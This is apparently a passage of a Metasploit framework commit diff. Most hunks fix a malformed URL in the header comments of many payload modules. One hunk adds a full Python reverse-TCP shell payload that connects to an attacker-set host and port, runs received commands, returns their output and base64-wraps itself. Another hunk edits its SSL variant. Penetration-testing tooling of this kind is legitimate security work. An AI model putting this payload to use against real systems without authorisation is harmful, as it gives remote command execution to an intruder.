## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/x64/shell_reverse_tcp.rb b/modules/payloads/singles/linux/x64/shell_reverse_tcp.rb index f104820e98..040d73ed6f 100644 --- a/modules/payloads/singles/linux/x64/shell_reverse_tcp.rb +++ b/modules/payloads/singles/linux/x64/shell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/x86/adduser.rb b/modules/payloads/singles/linux/x86/adduser.rb index 52aba7147f..e51ebd9233 100644 --- a/modules/payloads/singles/linux/x86/adduser.rb +++ b/modules/payloads/singles/linux/x86/adduser.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/x86/chmod.rb b/modules/payloads/singles/linux/x86/chmod.rb index b784bb2449..3c4a8ed645 100644 --- a/modules/payloads/singles/linux/x86/chmod.rb +++ b/modules/payloads/singles/linux/x86/chmod.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/x86/exec.rb b/modules/payloads/singles/linux/x86/exec.rb index 94e673d0ae..5217a0211b 100644 --- a/modules/payloads/singles/linux/x86/exec.rb +++ b/modules/payloads/singles/linux/x86/exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/x86/metsvc_bind_tcp.rb b/modules/payloads/singles/linux/x86/metsvc_bind_tcp.rb index 26a3860309..eac17be5ba 100644 --- a/modules/payloads/singles/linux/x86/metsvc_bind_tcp.rb +++ b/modules/payloads/singles/linux/x86/metsvc_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/x86/metsvc_reverse_tcp.rb b/modules/payloads/singles/linux/x86/metsvc_reverse_tcp.rb index 4c473610c5..a54d6faeb7 100644 --- a/modules/payloads/singles/linux/x86/metsvc_reverse_tcp.rb +++ b/modules/payloads/singles/linux/x86/metsvc_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/x86/read_file.rb b/modules/payloads/singles/linux/x86/read_file.rb index 654c247ae1..91eeefc6df 100644 --- a/modules/payloads/singles/linux/x86/read_file.rb +++ b/modules/payloads/singles/linux/x86/read_file.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/x86/shell_bind_ipv6_tcp.rb b/modules/payloads/singles/linux/x86/shell_bind_ipv6_tcp.rb index 9c57efdcc9..294ffdd425 100644 --- a/modules/payloads/singles/linux/x86/shell_bind_ipv6_tcp.rb +++ b/modules/payloads/singles/linux/x86/shell_bind_ipv6_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/x86/shell_bind_tcp.rb b/modules/payloads/singles/linux/x86/shell_bind_tcp.rb index bc3a4cc439..927711a1c8 100644 --- a/modules/payloads/singles/linux/x86/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/x86/shell_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/x86/shell_bind_tcp_random_port.rb b/modules/payloads/singles/linux/x86/shell_bind_tcp_random_port.rb index d684ffba7f..14e5cd2613 100644 --- a/modules/payloads/singles/linux/x86/shell_bind_tcp_random_port.rb +++ b/modules/payloads/singles/linux/x86/shell_bind_tcp_random_port.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/x86/shell_find_port.rb b/modules/payloads/singles/linux/x86/shell_find_port.rb index fdb9821467..33f30c552a 100644 --- a/modules/payloads/singles/linux/x86/shell_find_port.rb +++ b/modules/payloads/singles/linux/x86/shell_find_port.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/x86/shell_find_tag.rb b/modules/payloads/singles/linux/x86/shell_find_tag.rb index 8d2cf11e04..92bbbe68b3 100644 --- a/modules/payloads/singles/linux/x86/shell_find_tag.rb +++ b/modules/payloads/singles/linux/x86/shell_find_tag.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/x86/shell_reverse_tcp.rb b/modules/payloads/singles/linux/x86/shell_reverse_tcp.rb index ff1a8fe10e..3528f572f9 100644 --- a/modules/payloads/singles/linux/x86/shell_reverse_tcp.rb +++ b/modules/payloads/singles/linux/x86/shell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/x86/shell_reverse_tcp2.rb b/modules/payloads/singles/linux/x86/shell_reverse_tcp2.rb index 4f02ac46d5..248f79b0c8 100644 --- a/modules/payloads/singles/linux/x86/shell_reverse_tcp2.rb +++ b/modules/payloads/singles/linux/x86/shell_reverse_tcp2.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/nodejs/shell_bind_tcp.rb b/modules/payloads/singles/nodejs/shell_bind_tcp.rb index 4676b098d9..815d000a73 100644 --- a/modules/payloads/singles/nodejs/shell_bind_tcp.rb +++ b/modules/payloads/singles/nodejs/shell_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/nodejs/shell_reverse_tcp.rb b/modules/payloads/singles/nodejs/shell_reverse_tcp.rb index 4951855ae1..4017bf3d65 100644 --- a/modules/payloads/singles/nodejs/shell_reverse_tcp.rb +++ b/modules/payloads/singles/nodejs/shell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb b/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb index 5e14658ae1..d11ae25e0c 100644 --- a/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb +++ b/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/osx/armle/shell_bind_tcp.rb b/modules/payloads/singles/osx/armle/shell_bind_tcp.rb index a85c03e654..d036abb764 100644 --- a/modules/payloads/singles/osx/armle/shell_bind_tcp.rb +++ b/modules/payloads/singles/osx/armle/shell_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/osx/armle/shell_reverse_tcp.rb b/modules/payloads/singles/osx/armle/shell_reverse_tcp.rb index b94c684691..502b949968 100644 --- a/modules/payloads/singles/osx/armle/shell_reverse_tcp.rb +++ b/modules/payloads/singles/osx/armle/shell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/osx/armle/vibrate.rb b/modules/payloads/singles/osx/armle/vibrate.rb index 976b500493..6b3aaefbf6 100644 --- a/modules/payloads/singles/osx/armle/vibrate.rb +++ b/modules/payloads/singles/osx/armle/vibrate.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/osx/ppc/shell_bind_tcp.rb b/modules/payloads/singles/osx/ppc/shell_bind_tcp.rb index eadff786e4..dec2d6f0f4 100644 --- a/modules/payloads/singles/osx/ppc/shell_bind_tcp.rb +++ b/modules/payloads/singles/osx/ppc/shell_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/osx/ppc/shell_reverse_tcp.rb b/modules/payloads/singles/osx/ppc/shell_reverse_tcp.rb index ac20747d51..73d655ca95 100644 --- a/modules/payloads/singles/osx/ppc/shell_reverse_tcp.rb +++ b/modules/payloads/singles/osx/ppc/shell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/osx/x64/exec.rb b/modules/payloads/singles/osx/x64/exec.rb index 127ba4fef7..b335268e12 100644 --- a/modules/payloads/singles/osx/x64/exec.rb +++ b/modules/payloads/singles/osx/x64/exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/osx/x64/say.rb b/modules/payloads/singles/osx/x64/say.rb index 001bb2ad5c..c9f12d8880 100644 --- a/modules/payloads/singles/osx/x64/say.rb +++ b/modules/payloads/singles/osx/x64/say.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/osx/x64/shell_bind_tcp.rb b/modules/payloads/singles/osx/x64/shell_bind_tcp.rb index 4e1ed6c76f..2f7d0b2f60 100644 --- a/modules/payloads/singles/osx/x64/shell_bind_tcp.rb +++ b/modules/payloads/singles/osx/x64/shell_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/osx/x64/shell_find_tag.rb b/modules/payloads/singles/osx/x64/shell_find_tag.rb index 05000e64c9..c6351dfad3 100644 --- a/modules/payloads/singles/osx/x64/shell_find_tag.rb +++ b/modules/payloads/singles/osx/x64/shell_find_tag.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/osx/x64/shell_reverse_tcp.rb b/modules/payloads/singles/osx/x64/shell_reverse_tcp.rb index 701a35e112..4b667f2805 100644 --- a/modules/payloads/singles/osx/x64/shell_reverse_tcp.rb +++ b/modules/payloads/singles/osx/x64/shell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/osx/x86/exec.rb b/modules/payloads/singles/osx/x86/exec.rb index becaa22176..f7cef13e2e 100644 --- a/modules/payloads/singles/osx/x86/exec.rb +++ b/modules/payloads/singles/osx/x86/exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/osx/x86/shell_bind_tcp.rb b/modules/payloads/singles/osx/x86/shell_bind_tcp.rb index c2c6d64d80..368c7c34bd 100644 --- a/modules/payloads/singles/osx/x86/shell_bind_tcp.rb +++ b/modules/payloads/singles/osx/x86/shell_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/osx/x86/shell_find_port.rb b/modules/payloads/singles/osx/x86/shell_find_port.rb index a82e5be563..12e1407279 100644 --- a/modules/payloads/singles/osx/x86/shell_find_port.rb +++ b/modules/payloads/singles/osx/x86/shell_find_port.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/osx/x86/shell_reverse_tcp.rb b/modules/payloads/singles/osx/x86/shell_reverse_tcp.rb index a3c85b680f..37f7dc1076 100644 --- a/modules/payloads/singles/osx/x86/shell_reverse_tcp.rb +++ b/modules/payloads/singles/osx/x86/shell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/osx/x86/vforkshell_bind_tcp.rb b/modules/payloads/singles/osx/x86/vforkshell_bind_tcp.rb index f620478077..11d8d17be8 100644 --- a/modules/payloads/singles/osx/x86/vforkshell_bind_tcp.rb +++ b/modules/payloads/singles/osx/x86/vforkshell_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/osx/x86/vforkshell_reverse_tcp.rb b/modules/payloads/singles/osx/x86/vforkshell_reverse_tcp.rb index fed5f2f815..548e6b6fdf 100644 --- a/modules/payloads/singles/osx/x86/vforkshell_reverse_tcp.rb +++ b/modules/payloads/singles/osx/x86/vforkshell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/php/bind_perl.rb b/modules/payloads/singles/php/bind_perl.rb index b5256c16d9..d90f57d99e 100644 --- a/modules/payloads/singles/php/bind_perl.rb +++ b/modules/payloads/singles/php/bind_perl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,7 +17,7 @@ module Metasploit3 super(merge_info(info, 'Name' => 'PHP Command Shell, Bind TCP (via Perl)', 'Description' => 'Listen for a connection and spawn a command shell via perl (persistent)', - 'Author' => ['Samy ', 'cazz'], + 'Author' => ['Samy ', 'cazz'], 'License' => BSD_LICENSE, 'Platform' => 'php', 'Arch' => ARCH_PHP, diff --git a/modules/payloads/singles/php/bind_perl_ipv6.rb b/modules/payloads/singles/php/bind_perl_ipv6.rb index f6bca827aa..7144aa261c 100644 --- a/modules/payloads/singles/php/bind_perl_ipv6.rb +++ b/modules/payloads/singles/php/bind_perl_ipv6.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,7 +17,7 @@ module Metasploit3 super(merge_info(info, 'Name' => 'PHP Command Shell, Bind TCP (via perl) IPv6', 'Description' => 'Listen for a connection and spawn a command shell via perl (persistent) over IPv6', - 'Author' => ['Samy ', 'cazz'], + 'Author' => ['Samy ', 'cazz'], 'License' => BSD_LICENSE, 'Platform' => 'php', 'Arch' => ARCH_PHP, diff --git a/modules/payloads/singles/php/bind_php.rb b/modules/payloads/singles/php/bind_php.rb index 0887f27d5d..21f013bb58 100644 --- a/modules/payloads/singles/php/bind_php.rb +++ b/modules/payloads/singles/php/bind_php.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -19,7 +19,7 @@ module Metasploit3 super(merge_info(info, 'Name' => 'PHP Command Shell, Bind TCP (via PHP)', 'Description' => 'Listen for a connection and spawn a command shell via php', - 'Author' => ['egypt', 'diaul ',], + 'Author' => ['egypt', 'diaul ',], 'License' => BSD_LICENSE, 'Platform' => 'php', 'Arch' => ARCH_PHP, diff --git a/modules/payloads/singles/php/bind_php_ipv6.rb b/modules/payloads/singles/php/bind_php_ipv6.rb index 5f268896ac..4827bc0053 100644 --- a/modules/payloads/singles/php/bind_php_ipv6.rb +++ b/modules/payloads/singles/php/bind_php_ipv6.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -19,7 +19,7 @@ module Metasploit3 super(merge_info(info, 'Name' => 'PHP Command Shell, Bind TCP (via php) IPv6', 'Description' => 'Listen for a connection and spawn a command shell via php (IPv6)', - 'Author' => ['egypt', 'diaul ',], + 'Author' => ['egypt', 'diaul ',], 'License' => BSD_LICENSE, 'Platform' => 'php', 'Arch' => ARCH_PHP, diff --git a/modules/payloads/singles/php/download_exec.rb b/modules/payloads/singles/php/download_exec.rb index e2bfa8f6a3..444e200ea3 100644 --- a/modules/payloads/singles/php/download_exec.rb +++ b/modules/payloads/singles/php/download_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/php/exec.rb b/modules/payloads/singles/php/exec.rb index 3b2007d3c5..433cee9646 100644 --- a/modules/payloads/singles/php/exec.rb +++ b/modules/payloads/singles/php/exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb index 80624e9388..50975462a8 100644 --- a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/php/reverse_perl.rb b/modules/payloads/singles/php/reverse_perl.rb index 043a6a38a5..92a6aab6cd 100644 --- a/modules/payloads/singles/php/reverse_perl.rb +++ b/modules/payloads/singles/php/reverse_perl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/php/reverse_php.rb b/modules/payloads/singles/php/reverse_php.rb index 43abc81e7c..4bc09ebe04 100644 --- a/modules/payloads/singles/php/reverse_php.rb +++ b/modules/payloads/singles/php/reverse_php.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/php/shell_findsock.rb b/modules/payloads/singles/php/shell_findsock.rb index 0c86dc7f1a..7c95d56532 100644 --- a/modules/payloads/singles/php/shell_findsock.rb +++ b/modules/payloads/singles/php/shell_findsock.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -33,7 +33,7 @@ module Metasploit3 Apache but it might work on other web servers that leak file descriptors to child processes. }, - 'Author' => [ 'egypt ' ], + 'Author' => [ 'egypt' ], 'License' => BSD_LICENSE, 'Platform' => 'php', 'Handler' => Msf::Handler::FindShell, diff --git a/modules/payloads/singles/python/shell_reverse_tcp.rb b/modules/payloads/singles/python/shell_reverse_tcp.rb new file mode 100644 index 0000000000..6ae20e4c01 --- /dev/null +++ b/modules/payloads/singles/python/shell_reverse_tcp.rb @@ -0,0 +1,68 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Command Shell, Reverse TCP (via python)', + 'Description' => 'Creates an interactive shell via python, encodes with base64 by design. Compatible with Python 2.3.3', + 'Author' => 'Ben Campbell', # Based on RageLtMan's reverse_ssl + 'License' => MSF_LICENSE, + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'python', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + cmd = '' + dead = Rex::Text.rand_text_alpha(2) + # Set up the socket + cmd << "import socket,os\n" + cmd << "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n" + cmd << "so.connect(('#{datastore['LHOST']}',#{ datastore['LPORT']}))\n" + # The actual IO + cmd << "#{dead}=False\n" + cmd << "while not #{dead}:\n" + cmd << "\tdata=so.recv(1024)\n" + cmd << "\tif len(data)==0:\n\t\t#{dead}=True\n" + cmd << "\tstdin,stdout,stderr,=os.popen3(data)\n" + cmd << "\tstdout_value=stdout.read()+stderr.read()\n" + cmd << "\tso.send(stdout_value)\n" + + # Base64 encoding is required in order to handle Python's formatting requirements in the while loop + cmd = "exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))" + + cmd + end + +end + diff --git a/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb b/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb index 7601be09ea..47aa0d050d 100644 --- a/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb +++ b/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -15,12 +15,12 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Unix Command Shell, Reverse TCP SSL (via python)', + 'Name' => 'Command Shell, Reverse TCP SSL (via python)', 'Description' => 'Creates an interactive shell via python, uses SSL, encodes with base64 by design.', 'Author' => 'RageLtMan', 'License' => BSD_LICENSE, 'Platform' => 'python', - 'Arch' => ARCH_CMD, + 'Arch' => ARCH_PYTHON, 'Handler' => Msf::Handler::ReverseTcpSsl, 'Session' => Msf::Sessions::CommandShell, 'PayloadType' => 'python', @@ -36,8 +36,7 @@ module Metasploit3 # Constructs the payload # def generate - vprint_good(command_string) - return super + command_string + super + command_string end # @@ -60,11 +59,10 @@ module Metasploit3 cmd += "\tstdout_value=proc.stdout.read() + proc.stderr.read()\n" cmd += "\ts.send(stdout_value)\n" - # The *nix shell wrapper to keep things clean # Base64 encoding is required in order to handle Python's formatting requirements in the while loop cmd = "exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))" - return cmd + cmd end - end + diff --git a/modules/payloads/singles/ruby/shell_bind_tcp.rb b/modules/payloads/singles/ruby/shell_bind_tcp.rb index 68f26ab8df..74eb9aa7bc 100644 --- a/modules/payloads/singles/ruby/shell_bind_tcp.rb +++ b/modules/payloads/singles/ruby/shell_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/ruby/shell_bind_tcp_ipv6.rb b/modules/payloads/singles/ruby/shell_bind_tcp_ipv6.rb index 8248f30a63..678ed420ab 100644 --- a/modules/payloads/singles/ruby/shell_bind_tcp_ipv6.rb +++ b/modules/payloads/singles/ruby/shell_bind_tcp_ipv6.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/ruby/shell_reverse_tcp.rb b/modules/payloads/singles/ruby/shell_reverse_tcp.rb index f17c66994e..c98cb3c89a 100644 --- a/modules/payloads/singles/ruby/shell_reverse_tcp.rb +++ b/modules/payloads/singles/ruby/shell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb b/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb index 307d0fc897..1082687e17 100644 --- a/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb +++ b/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/solaris/sparc/shell_bind_tcp.rb b/modules/payloads/singles/solaris/sparc/shell_bind_tcp.rb index b70d21a99a..13cf5c4d89 100644 --- a/modules/payloads/singles/solaris/sparc/shell_bind_tcp.rb +++ b/modules/payloads/singles/solaris/sparc/shell_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/solaris/sparc/shell_find_port.rb b/modules/payloads/singles/solaris/sparc/shell_find_port.rb index 76f3b089a5..8203e9f97e 100644 --- a/modules/payloads/singles/solaris/sparc/shell_find_port.rb +++ b/modules/payloads/singles/solaris/sparc/shell_find_port.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/solaris/sparc/shell_reverse_tcp.rb b/modules/payloads/singles/solaris/sparc/shell_reverse_tcp.rb index 4ecb02aded..2586ac024b 100644 --- a/modules/payloads/singles/solaris/sparc/shell_reverse_tcp.rb +++ b/modules/payloads/singles/solaris/sparc/shell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/solaris/x86/shell_bind_tcp.rb b/modules/payloads/singles/solaris/x86/shell_bind_tcp.rb index d90eb85a6f..39454d07c7 100644 --- a/modules/payloads/singles/solaris/x86/shell_bind_tcp.rb +++ b/modules/payloads/singles/solaris/x86/shell_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/solaris/x86/shell_find_port.rb b/modules/payloads/singles/solaris/x86/shell_find_port.rb index 0fbde60b05..1b75e84b01 100644 --- a/modules/payloads/singles/solaris/x86/shell_find_port.rb +++ b/modules/payloads/singles/solaris/x86/shell_find_port.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/solaris/x86/shell_reverse_tcp.rb b/modules/payloads/singles/solaris/x86/shell_reverse_tcp.rb index 38990d00ab..6f4f317e3a 100644 --- a/modules/payloads/singles/solaris/x86/shell_reverse_tcp.rb +++ b/modules/payloads/singles/solaris/x86/shell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/tty/unix/interact.rb b/modules/payloads/singles/tty/unix/interact.rb index ade41d443a..ddd8b185e4 100644 --- a/modules/payloads/singles/tty/unix/interact.rb +++ b/modules/payloads/singles/tty/unix/interact.rb @@ -1,5 +1,5 @@ ## -# This module requires 